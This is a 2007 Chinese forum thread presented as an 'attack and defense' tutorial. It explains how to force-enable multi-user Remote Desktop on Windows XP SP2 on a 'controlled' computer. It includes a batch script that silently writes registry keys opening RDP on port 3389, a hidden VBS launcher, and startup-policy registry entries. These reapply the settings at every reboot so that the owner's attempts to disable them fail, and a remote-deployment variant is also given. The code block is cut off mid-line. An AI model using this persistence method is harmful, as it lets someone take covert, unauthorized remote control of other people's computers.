原创:电脑攻防——Windows XP SP2自动启用多用户远程桌面 点击:2341 | 回复:3



老菜鸟

    
  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2007-03-26 17:38:00
楼主
Windows XP SP2自动启用多用户远程桌面
    Windows XP自动启用多用户远程桌面的条件是:Windows XP SP2操作系统,启用“允许用户远程连接到这台计算机”,启用“使用欢迎屏幕”和“使用快速用户切换”,更换Win XP SP2的TermSrv.dll文件为Win XP SP2 Build 2055中的TermSrv.dll。
    按照下面的做法可以对Windows XP SP2自动启用多用户远程桌面,即使用户在“我的电脑”——“属性”——“远程”中手动取消了“允许用户远程连接到这台计算机”以及在“开始”——“控制面板”——“用户帐户”——“更改用户登陆和注销的方式”中取消了“使用欢迎屏幕”、“使用快速用户切换”,重启电脑后都会自动恢复到原来的设置——用户更改无效。

一、在本机的Windows XP SP2中自动启用多用户远程桌面
1、安装Windows XP SP2操作系统:
    Windows XP和Windows XP SP1只允许单用户登陆系统(无论是本地还是远程),无法实现多用户远程桌面。

2、在另外一个操作系统(电脑安装了多操作系统的情况下)或DOS下用Win XP SP2 Build 2055中的TermSrv.dll文件替换Windows目录下system32子目录和system32\dllcache子目录下的TermSrv.dll文件。在本操作系统下可能无法成功替换(文件不允许修改或系统又自动复制回自己的TermSrv.dll文件)。

3、创建1个Yckz.txt文件,将其文件名改为Yckz.bat,然后编辑这个批处理文件。在批处理中加入以下内容(每行后面的中文是解释,在实际操作中不输入):
echo Windows Registry Editor Version 5.00>>yckz.reg    采用注册表编辑器V5.0进行编辑
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>yckz.reg    启用远程桌面连接的注册表子项
echo "fDenyTSConnections"=dword:00000000>>yckz.reg    启用远程桌面连接
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>yckz.reg    远程桌面连接端口的注册表子项
echo "PortNumber"=dword:00000d3d>>yckz.reg    指定远程桌面连接端口为3389(十六进制为D3D)
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>yckz.reg    远程桌面连接端口的注册表子项
echo "PortNumber"=dword:00000d3d>>yckz.reg    指定远程桌面连接端口为3389(十六进制为D3D)
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]>>yckz.reg    启用欢迎屏幕、快速用户切换的注册表子项
echo "LogonType"=dword:00000001>>yckz.reg    启用欢迎屏幕
echo "AllowMultipleTSSessions"=dword:00000001>>yckz.reg    启用快速用户切换
regedit /s yckz.reg    以不需要确认的方式直接将REG文件内容导入注册表
del yckz.reg    删除REG文件

4、创建1个Yckz.txt文件,将其文件名改为Yckz.vbs,然后编辑这个脚本文件。在批处理中加入以下内容:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C %systemroot%\system32\Yckz.bat", 0, TRUE)
    运行这个脚本文件就会执行当前系统的Windows文件夹下“system32”子文件夹的Yckz.bat批处理文件,而且不会弹出DOS窗口(直接运行BAT批处理文件会弹出DOS窗口)。

5、将Yckz.bat和Yckz.vbs文件复制到本地计算机(被控计算机)当前系统的Windows\system32文件夹下。

6、在本地计算机(被控计算机)点击“开始”——“运行”,输入“gpedit.msc”,点击“计算机配置”——“Windows设置”——“脚本 (启动/关机)”,双击“启动”,点击“添加”,在“脚本名输入”栏内输入“%systemroot%\system32\Yckz.vbs”,点击“确定”——“确定”就OK了。

7、重启本地计算机(被控计算机),一切搞定!

8、说明:远程登录的用户名称和本地登陆的用户名称不得相同,否则先前登陆的那个用户会被强制退出(在Windows 2003中允许本地和远程采用相同的用户名同时登陆本地计算机)。所以,在本地计算机应当设置多个帐户。


二、在远程计算机中控制本地Windows XP SP2中自动启用多用户远程桌面
    与在本机的Windows XP SP2中自动启用多用户远程桌面步骤基本相同,第3步中倒数第2行之前应当加入以下内容:
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0]>>yckz.reg
echo "Script"="%systemroot%\\system32\\yckz.vbs">>yckz.reg
echo "Parameters"="">>yckz.reg
echo "ExecTime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00>>yckz.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup\0\0]>>yckz.reg
echo "Script"="%systemroot%\\system32\\yckz.vbs">>yckz.reg
echo "Parameters"="">>yckz.reg
echo "ExecTim



老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2007-03-26 17:42:00
1楼
吐血推荐哟!不要用来干坏事就行了。。。

老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2007-03-29 16:48:00
2楼
这么好的东西,几十个人看了居然没人顶!
    看来没人对这个东西感兴趣呀......
    ......

liuhongshan

  • 精华:0帖
  • 求助:0帖
  • 帖子:66帖 | 905回
  • 年度积分:0
  • 历史总积分:2778
  • 注册:2006年4月01日
发表于:2007-03-30 05:34:00
3楼
收藏

热门招聘
相关主题

官方公众号

智造工程师